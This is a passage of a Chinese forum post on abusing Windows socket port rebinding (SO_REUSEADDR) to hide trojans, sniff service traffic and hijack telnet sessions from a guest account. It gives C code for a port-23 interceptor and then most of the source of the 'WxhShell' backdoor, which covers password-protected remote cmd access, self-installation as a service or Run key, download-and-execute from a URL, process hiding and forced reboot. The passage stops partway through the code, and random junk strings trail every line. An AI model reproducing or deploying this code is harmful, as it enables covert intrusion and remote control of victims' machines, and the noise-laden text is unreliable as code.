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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F^!mI7Z|(2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KjB/.4lLq  
M2@^bB\J  
  saddr.sin_family = AF_INET; 5.tvB  
Tp<k<uKD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bzi|s5!'<  
pUl8{YGS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $\AEWFB  
nU`Lhh8y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }%n5nLU`  
Lv1{k\aw  
  这意味着什么?意味着可以进行如下的攻击: #pdUJ2)yM  
-v?hqWMp#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7t-Lz| $"  
}%{MPqg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NN 0Q`r,8}  
.I$}KE)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^;F{)bmu+)  
;HOPABWz)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G[idN3+#  
.]Mn^2#j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0"[`>K~7a8  
5+X_4lEJK(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c#xP91.m  
D&hqV)d4R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6@4n'w{"  
`#IcxweA  
  #include |dadH7  
  #include /-0' Qa+*  
  #include I_ "Z:v{  
  #include    UBO^EVJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P"7ow-  
  int main() 2Ohp]G  
  { kpob b  
  WORD wVersionRequested; \)m"3yY  
  DWORD ret; GIHpSy`z  
  WSADATA wsaData; >qT'z$  
  BOOL val; klWYuStZ  
  SOCKADDR_IN saddr; +yt6(7V*  
  SOCKADDR_IN scaddr; ;BH>3VK  
  int err; J7-^F)lu-  
  SOCKET s; n<V1|X  
  SOCKET sc; Gk~l,wV>  
  int caddsize; 1K|@ h&@  
  HANDLE mt; g?q KNY  
  DWORD tid;   "PpjoM ~  
  wVersionRequested = MAKEWORD( 2, 2 ); \Mi#{0f+q  
  err = WSAStartup( wVersionRequested, &wsaData ); #I`ms$j%  
  if ( err != 0 ) { 'b:Ne,<  
  printf("error!WSAStartup failed!\n"); CBD_a#K{  
  return -1; kRIB<@{  
  } F@YV]u>N  
  saddr.sin_family = AF_INET; lWy=)^)4  
   s ?l%L!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zREJ#r  
Y9}8M27vQG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  YRB%:D@u  
  saddr.sin_port = htons(23); Fm j=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g{pQ4jKF  
  { r>qA $zD^  
  printf("error!socket failed!\n"); w!q&  
  return -1; I6OSC&A`  
  } CdhSp$>  
  val = TRUE; )wf\F6jN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q"aPJ0ni'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W7G9Kx1Y  
  { E*v]:kok  
  printf("error!setsockopt failed!\n"); tGqCt9;<  
  return -1; 'UDBV  
  } r25Z`X Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E;-qP)yU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (N U0T w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M$CVQ>op:  
`"y{;PCt_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >BqCkyM9Kf  
  { Z^tGu7x  
  ret=GetLastError(); ged,>  
  printf("error!bind failed!\n"); fCEz-TMW  
  return -1; CD?&<NV  
  } O<,r>b,  
  listen(s,2); ,@Z_{,b  
  while(1) {tzxA_  
  { Ge}$rLu]0  
  caddsize = sizeof(scaddr); Ob&W_D^=N  
  //接受连接请求 y' tRANxQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UxPGv;F  
  if(sc!=INVALID_SOCKET) 0U&d q#  
  { B3L4F"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,hE/II`-d'  
  if(mt==NULL) _p4}<pG  
  { 8j\d~Lw=  
  printf("Thread Creat Failed!\n"); g{DFS[h  
  break; 5t'Fv<g  
  } J@bW^>g*6u  
  } Lb q_~   
  CloseHandle(mt); SgSk !lj  
  } x1DVD!0~{  
  closesocket(s); _.f@Y`4d  
  WSACleanup(); -^fzsBL.  
  return 0; 1~qm+nET\  
  }   9A;6x$s  
  DWORD WINAPI ClientThread(LPVOID lpParam) wA0eG@xi)  
  { o8D{dS>,PL  
  SOCKET ss = (SOCKET)lpParam; vw r RZ"2  
  SOCKET sc; @6%gIsj<H  
  unsigned char buf[4096]; 2YIF=YWO},  
  SOCKADDR_IN saddr; G)+Ff5e0L[  
  long num; S:s 3EM  
  DWORD val; UA0tFeH  
  DWORD ret; YmCbxYa7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4_< nQ9K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4[l^0  
  saddr.sin_family = AF_INET; <$C<Ba?;?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !1-&Y'+  
  saddr.sin_port = htons(23); V [4n'LcE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DNho%Xk  
  { 9}n,@@  
  printf("error!socket failed!\n"); T 'i~_R6  
  return -1; 2 zl~>3S  
  } 1#!@["  
  val = 100; &l!$Sw-u;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "z/V%ZK~f  
  { ;vUxO<cKFq  
  ret = GetLastError(); {h^c  
  return -1; 9%TT> 2#  
  } f=oeF]=I"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #O6 EP#B  
  { fIEw(k<*  
  ret = GetLastError(); C >kmIw'  
  return -1; o>K &D$J;O  
  } fv5C!> t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T:n< db,Px  
  { WJcVQM s  
  printf("error!socket connect failed!\n"); 4@~a<P#  
  closesocket(sc); afy/K'~  
  closesocket(ss); n'3u] ~7^  
  return -1; }MjQP R  
  } @$ftG  
  while(1) /yt7#!tm+  
  { {tmKCG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d"!yD/RD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l qXc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tWRf'n[+]  
  num = recv(ss,buf,4096,0); %ph"PR/t?  
  if(num>0) 7%tR&F -u  
  send(sc,buf,num,0); Q%M_   
  else if(num==0) Dpj-{q7C  
  break; ]F_r6*<  
  num = recv(sc,buf,4096,0); #ZF>WoC@e?  
  if(num>0) n\* JaY  
  send(ss,buf,num,0); 0k.v0a7%  
  else if(num==0) o]p#%B?mZ  
  break; w #<^RKk  
  } Rd vn)K  
  closesocket(ss); 1 Xa+%n9  
  closesocket(sc); wVQdUtmk  
  return 0 ; ,$PFI(Whk  
  } xi.IRAZX  
(qj,GmcS  
9[,s4sxH  
========================================================== l-MxLcz  
bu&;-Ynb  
下边附上一个代码,,WXhSHELL # hZQ>zcF  
4D GY6PS  
========================================================== Y@ObwKcG  
Kc-4W6?$  
#include "stdafx.h" v#Sj|47  
n/?eZx1  
#include <stdio.h> B MY>a  
#include <string.h> 5<^'Cy  
#include <windows.h> \{:%v#ZZ  
#include <winsock2.h> 1ThwvF%Qo  
#include <winsvc.h> >kZ6f4  
#include <urlmon.h> g?gqkoI  
+q l  
#pragma comment (lib, "Ws2_32.lib") iT[o KD0)  
#pragma comment (lib, "urlmon.lib") jwq\stjD  
S$\.4*_H\  
#define MAX_USER   100 // 最大客户端连接数 ;raz6DRO  
#define BUF_SOCK   200 // sock buffer `i9N )3 X  
#define KEY_BUFF   255 // 输入 buffer 7|K3WuLL  
7}A5u,.,ht  
#define REBOOT     0   // 重启 =g >.X9lr  
#define SHUTDOWN   1   // 关机 Pu-p7:99;'  
RP(a,D|  
#define DEF_PORT   5000 // 监听端口 KS?mw`Nr  
JxnuGkE0[#  
#define REG_LEN     16   // 注册表键长度 l:q8Pg)  
#define SVC_LEN     80   // NT服务名长度 T G_bje  
CJv> /#$/F  
// 从dll定义API xM%`K P.8X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _HLC>pH~#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /%5_~Jkr,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;m' '9z)2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E*OG-r   
A3z/Bz4]:#  
// wxhshell配置信息 YWSz84d  
struct WSCFG { ](_{,P  
  int ws_port;         // 监听端口 }'DC Q  
  char ws_passstr[REG_LEN]; // 口令 C`3V=BB  
  int ws_autoins;       // 安装标记, 1=yes 0=no mF}c-  D  
  char ws_regname[REG_LEN]; // 注册表键名 wZ$ tJQO  
  char ws_svcname[REG_LEN]; // 服务名 r?>Vx -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  gm(De9u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'YBi5_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GKiq0*/M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {=s:P|ah  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z(KmS (  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q Frt^+@  
"/Om}*VhD  
}; {K<uM'ww>  
IF5sqv  
// default Wxhshell configuration '/ihL ^^@L  
struct WSCFG wscfg={DEF_PORT, I/Sv"X6E  
    "xuhuanlingzhe", 75kKDR}6  
    1, xrfPZBLy  
    "Wxhshell", h4tC. i~k  
    "Wxhshell", w2 /* `YO  
            "WxhShell Service", g})6V  
    "Wrsky Windows CmdShell Service", U@#?T  
    "Please Input Your Password: ", u1tq2"D8  
  1, P@2tR5<R  
  "http://www.wrsky.com/wxhshell.exe", ,.[.SU#V  
  "Wxhshell.exe" \{[D|_   
    }; bo&\3  
{,i=>%X*  
// 消息定义模块 C%0<1 mp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sS-W~u|C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /%62X{=>;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a#^_"GX  
char *msg_ws_ext="\n\rExit."; *e%Dg{_  
char *msg_ws_end="\n\rQuit."; kNRyOUy  
char *msg_ws_boot="\n\rReboot..."; 'G<}U343=8  
char *msg_ws_poff="\n\rShutdown..."; >~h>#{&  
char *msg_ws_down="\n\rSave to "; L^3~gM"!  
5.O-(eSa0&  
char *msg_ws_err="\n\rErr!"; l8er$8S}  
char *msg_ws_ok="\n\rOK!"; zwMQXI'k83  
%I_&Ehu  
char ExeFile[MAX_PATH]; G XarUjs  
int nUser = 0; Yr5iZ~V$  
HANDLE handles[MAX_USER]; ^CfM|L8>  
int OsIsNt; -E6Jf$  
*C5:#A0  
SERVICE_STATUS       serviceStatus; T}V7SD.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U&,r4>V@h>  
6 M*b6  
// 函数声明 r4 9UJE  
int Install(void); ?6 8$3;  
int Uninstall(void); wDB)&b  
int DownloadFile(char *sURL, SOCKET wsh); /z/hUa  
int Boot(int flag); *Hx j_  
void HideProc(void); \nC5 ,Rz  
int GetOsVer(void); 4\&H?:c.  
int Wxhshell(SOCKET wsl); ? UxG/]",  
void TalkWithClient(void *cs); BO8%:/37[4  
int CmdShell(SOCKET sock); 3?.6K0L  
int StartFromService(void); ^Yf3"D?&  
int StartWxhshell(LPSTR lpCmdLine); w/qQ(]n8  
xR0~S 3caI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yEE|e&#>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hm*Th  
$eK8GMxZ#  
// 数据结构和表定义 J f\Qf  
SERVICE_TABLE_ENTRY DispatchTable[] = ?nB he lW^  
{ lO551Y^  
{wscfg.ws_svcname, NTServiceMain}, T {hyt  
{NULL, NULL} PZKbnu  
}; $/4Wod*l  
M7`UoTc+>d  
// 自我安装 1f+*Tmc5]Q  
int Install(void) X=fPGyhZ  
{ bs:C1j\&  
  char svExeFile[MAX_PATH]; )EhTM-1  
  HKEY key; "g x5XW&  
  strcpy(svExeFile,ExeFile); @:S$|D~  
yfPCGCOW?  
// 如果是win9x系统,修改注册表设为自启动 H%*~l  
if(!OsIsNt) { ^ze@#Cp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j'G"ZPw1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {fAh@:{@  
  RegCloseKey(key); (jp1; #P!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xnl<<}4pJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {;]uL`abi?  
  RegCloseKey(key); :`{9x%o;  
  return 0; *raIV]W3  
    } fG u5%T,  
  } Q{%HW4lg  
} DH}s1mNMP  
else { uU8*$+ "  
PFImqojHd  
// 如果是NT以上系统,安装为系统服务 &@mvw=d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZrmnQ  
if (schSCManager!=0) {%]NpFg#b  
{ Ln"+nKr  
  SC_HANDLE schService = CreateService K?z*3^^X;  
  ( u+%)JhIp  
  schSCManager, |usnY  
  wscfg.ws_svcname, XS}Zq4H  
  wscfg.ws_svcdisp, (Q}PeKM?jq  
  SERVICE_ALL_ACCESS, H=JP3ID>{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^% ~Et>C  
  SERVICE_AUTO_START, Da9*/  
  SERVICE_ERROR_NORMAL, <wIp$F.  
  svExeFile, n`FQgC  
  NULL, uKLOh<oio  
  NULL, :d!i[W*  
  NULL, tEi@p;Z>  
  NULL, sW>P-  
  NULL ?TL2'U|M  
  ); }0k"Sw X  
  if (schService!=0) "uV0Oj9:  
  { +=n x|:no  
  CloseServiceHandle(schService); #J%h!#3g  
  CloseServiceHandle(schSCManager); w3>Y7vxiz`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,gFL Wb`B'  
  strcat(svExeFile,wscfg.ws_svcname); HB/ _O22  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o=a:L^nt,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7?kXgR[#d  
  RegCloseKey(key); #C;#$|d  
  return 0; 2:smt)f  
    } 9m<X-B&P  
  } B`RW-14g  
  CloseServiceHandle(schSCManager); t[H_6)  
} ~Mg8C9B?%3  
} EvGUj$  
'W<a54T?z  
return 1; B}TInI%H  
} = y,yQO  
A-AN6.  
// 自我卸载 0C9QAJa  
int Uninstall(void) i9#`F.7F  
{ S2{ ?W  
  HKEY key; BDB zc5Q(  
uK"$=v6|  
if(!OsIsNt) { 2i4Dal  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K'{wncumQ  
  RegDeleteValue(key,wscfg.ws_regname); MJ*oeI!.=  
  RegCloseKey(key); .@x"JI> ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'vf,T4uQ"  
  RegDeleteValue(key,wscfg.ws_regname); ,M+h9_&0?  
  RegCloseKey(key); S7\|/h:4  
  return 0; ;6\Ski0=l  
  } e>)}_b  
} :5q*46n  
} @; j0c_^"!  
else { zm_hLk  
E| 8s2t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I'6 ed`|  
if (schSCManager!=0) #nMP (ShK  
{ hg86#jq%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |Ls&~'ik  
  if (schService!=0) Is,*qrl :  
  { RY'\mt"W2  
  if(DeleteService(schService)!=0) { <O`q3u'l  
  CloseServiceHandle(schService); '%JMnU  
  CloseServiceHandle(schSCManager); RmCn&-i  
  return 0; U4mh!  
  } aaqjE  
  CloseServiceHandle(schService); c,[qjr#\>  
  } G`3vH,  
  CloseServiceHandle(schSCManager); #h5Hi9LKf  
} -mWw.SfEZ  
} <R]Wy}2-  
$F /p8AraK  
return 1; Y GcY2p<  
} !513rNO  
Wpg?%+Y  
// 从指定url下载文件 FdK R{dX}  
int DownloadFile(char *sURL, SOCKET wsh) wTJMq`sY_  
{ 9g^./k\8%  
  HRESULT hr; N#xM_Mpt  
char seps[]= "/"; w4&v( m  
char *token; 5p>]zij>  
char *file; '!|E+P-  
char myURL[MAX_PATH]; [/2@=Uh-  
char myFILE[MAX_PATH]; ]cO$E=W  
~9{-I{=  
strcpy(myURL,sURL); 2Dwt4V  
  token=strtok(myURL,seps); @v:ILby4-  
  while(token!=NULL) >f9]Nj  
  { COl%P  
    file=token; wxr}*Z:ZMa  
  token=strtok(NULL,seps); qLktMp_  
  } 5xn0U5U  
/[)P^L`  
GetCurrentDirectory(MAX_PATH,myFILE); 1>O0Iu  
strcat(myFILE, "\\"); rj`.hXO  
strcat(myFILE, file); uJAB)ti2I  
  send(wsh,myFILE,strlen(myFILE),0); v:;C|uE|  
send(wsh,"...",3,0); 9#=IrlV4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5x L,~"  
  if(hr==S_OK) D3 Ea2}8  
return 0; {<V|Gr  
else bKTwG@{/k  
return 1; )8A=yrTIT  
I^C ]6D{  
} 7E84@V[\  
*IfIRR>3l(  
// 系统电源模块 =_~'G^`tu  
int Boot(int flag) `S!uj <-  
{ %L=h}U13  
  HANDLE hToken; #$ raUNr  
  TOKEN_PRIVILEGES tkp; 4dD@lG~  
CEJG=*3  
  if(OsIsNt) { y`P7LC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $AJy^`E^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I]S(tx!  
    tkp.PrivilegeCount = 1; u/{_0-+P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U=*q;$L#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zw;(:fgY#  
if(flag==REBOOT) { M`g Kt (3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Sv]"Y/N  
  return 0; :r|P?;t(  
} p`V9+CA  
else { j?` D\LZhf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?9.?w-Q'  
  return 0; @X / =.  
} :$@zX]?M  
  } Y~\xWYR  
  else { uZ{xt6 f  
if(flag==REBOOT) { @RG3*3(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9~ .BH;ku  
  return 0; Ra,on&OP`*  
} O8}s*}]  
else { U";Rp&\3;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z-r0 D  
  return 0; '{_tDboY  
} q\b9e&2Y  
} zqEZ+|c=  
jI pcMN<  
return 1; 6(;[ov1  
} p<.!::*%(  
OaVL NA^{  
// win9x进程隐藏模块 <@2?2l+`X  
void HideProc(void) 53#5p;k  
{ 63\>MQcLy  
,kuFTWB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ="*C&wB^  
  if ( hKernel != NULL ) cyn]>1ZM  
  { JSP8Lu"n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >L3p qK   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S6Xw+W02  
    FreeLibrary(hKernel); S)1:*>@  
  } @n y{.s+  
{:!SH6 ff  
return; U%6lYna{M#  
} A7}|VV  
`>HthK  
// 获取操作系统版本 _!T$|,a  
int GetOsVer(void) p5 PON0dS  
{ Z-=7QK.\{  
  OSVERSIONINFO winfo; &]A1 _dy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %x)U8  
  GetVersionEx(&winfo); +mel0ZStS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lgw@y!Llij  
  return 1; kxiyF$ 9  
  else (W6\%H2u  
  return 0; H0:6zSsc=|  
} O? <_,-.  
EG=>F1&M  
// 客户端句柄模块 }C1}T}U  
int Wxhshell(SOCKET wsl) 9d|7#)a;  
{ gM:oP.  
  SOCKET wsh; [<yUq zm  
  struct sockaddr_in client; {;gWn' aq  
  DWORD myID; B3=/iOb#  
lY8Qy2k|  
  while(nUser<MAX_USER)    r3K:  
{ *8HxJ+[,[  
  int nSize=sizeof(client); 57%cN-v*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ",oUVl  
  if(wsh==INVALID_SOCKET) return 1; =njj.<BO  
x}24?mP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); um4zLsd#v  
if(handles[nUser]==0) h*'5h!  
  closesocket(wsh); Q^;\!$:M  
else */qc%!YV9  
  nUser++; aYX'&k `  
  } ?-p aM5Q+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "K=)J'/n  
bpCe&*\6K  
  return 0; rW .0_*  
} 6:X\vw  
iC\=U  
// 关闭 socket lJ2/xE]  
void CloseIt(SOCKET wsh) e 2&i  
{ KAaeaiD  
closesocket(wsh); `qEm5+`  
nUser--; DEuW'.o>  
ExitThread(0); !KW)*  
} ImW~Jy  
 Ue Tp,  
// 客户端请求句柄 ? =Qg  
void TalkWithClient(void *cs) clV/i&]Qa  
{ %Q01EjRes  
vK/Z9wR*05  
  SOCKET wsh=(SOCKET)cs; WWz ns[$f  
  char pwd[SVC_LEN]; oMf h|B  
  char cmd[KEY_BUFF]; l$@lk?dc  
char chr[1]; y$W3\`2q  
int i,j; !0_Y@>2  
6!m#_z8qG3  
  while (nUser < MAX_USER) { e;\c=J,eE  
1Ez A@3:{  
if(wscfg.ws_passstr) { M#,+p8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {[iQRYD0|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @K> Pw arl  
  //ZeroMemory(pwd,KEY_BUFF); i oQlC4Y  
      i=0; G*V 7*KC  
  while(i<SVC_LEN) { NsK>UJ'  
nr6U> KR^  
  // 设置超时 x=+H@YO\  
  fd_set FdRead; !9Ni[8&Fg0  
  struct timeval TimeOut; @1X1E 2:  
  FD_ZERO(&FdRead); [# H8Mb+7  
  FD_SET(wsh,&FdRead); D]y.!D{l2  
  TimeOut.tv_sec=8; 9a,CiH%@  
  TimeOut.tv_usec=0; VUhu"h@w%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2sq<"TlQXI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C*zdHzMj  
s_Gp +-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6YbSzx` ?k  
  pwd=chr[0]; I>|?B( F  
  if(chr[0]==0xd || chr[0]==0xa) { `_kRvpi  
  pwd=0; 5T*7HC[  
  break; ,]' !2?  
  } 3j#F'M)s{  
  i++; *2hzReM  
    } Cl=ExpX/O  
~Y[b QuA=)  
  // 如果是非法用户,关闭 socket )`0 j\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kv2:rmv  
} @[lr F7`o  
1k(*o.6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w=5qth7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g Q^]/X  
=@ RVLml  
while(1) { b?,y%D) '  
AG%aH=TKp  
  ZeroMemory(cmd,KEY_BUFF); /qr8  
=$J2  
      // 自动支持客户端 telnet标准   H|?`n uiD  
  j=0; P@ u%{  
  while(j<KEY_BUFF) { NmXTk+,L#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qlP=Y .H  
  cmd[j]=chr[0]; s:{%1/  
  if(chr[0]==0xa || chr[0]==0xd) { L x&ZWF$  
  cmd[j]=0; 2sH5<5G'  
  break; .`9KB3  
  } Mf"B!WU>]B  
  j++; stScz#!  
    } n9yxZu   
=XB)sC%  
  // 下载文件 ce\-oT  
  if(strstr(cmd,"http://")) { I_Qnq4Sk(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I Cs1=  
  if(DownloadFile(cmd,wsh)) vhW '2<(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?*0kQo'  
  else 7y3; F7V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *!kg@ _0K  
  } =T`-h"E~@  
  else { * bK@A2`  
,# 6\:i  
    switch(cmd[0]) { /zM7G?y  
  <R$|J|  
  // 帮助 ,v+SD\7|  
  case '?': { gf@Dy6<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {cFei3'q  
    break; dLq!t@?iu>  
  } -1:asM7  
  // 安装 W\ckt]'  
  case 'i': { PE>_;k-@k  
    if(Install()) lAQ&PPQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &R]G)f#w%*  
    else g& Rk}/F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fi)ypv*  
    break; JB7]51WH@  
    } &}ow-u9c3  
  // 卸载 /uWON4  
  case 'r': { YL+W 4 ld  
    if(Uninstall()) Gu pKM%kM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M vCBgLN  
    else -p }]r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '1+ Bgf  
    break; (46)v'?  
    } /(w5S',EL  
  // 显示 wxhshell 所在路径 p#w,+)1!d  
  case 'p': { "x)W3C%*S  
    char svExeFile[MAX_PATH]; $A ,=z  
    strcpy(svExeFile,"\n\r"); U+z&jdnhDR  
      strcat(svExeFile,ExeFile); (~~=<0S  
        send(wsh,svExeFile,strlen(svExeFile),0); //(c 1/s  
    break; .6*A~%-=[d  
    } BeRn9[  
  // 重启 h?b{{  
  case 'b': { 9b0Z Ey{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NZ#z{JI =+  
    if(Boot(REBOOT)) e)M1$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fpb1.Iz  
    else { |N*>K a;  
    closesocket(wsh); sYL+;(#t  
    ExitThread(0); NNT9\JRv_  
    } C^a~)r.h  
    break; MB)xL-jO  
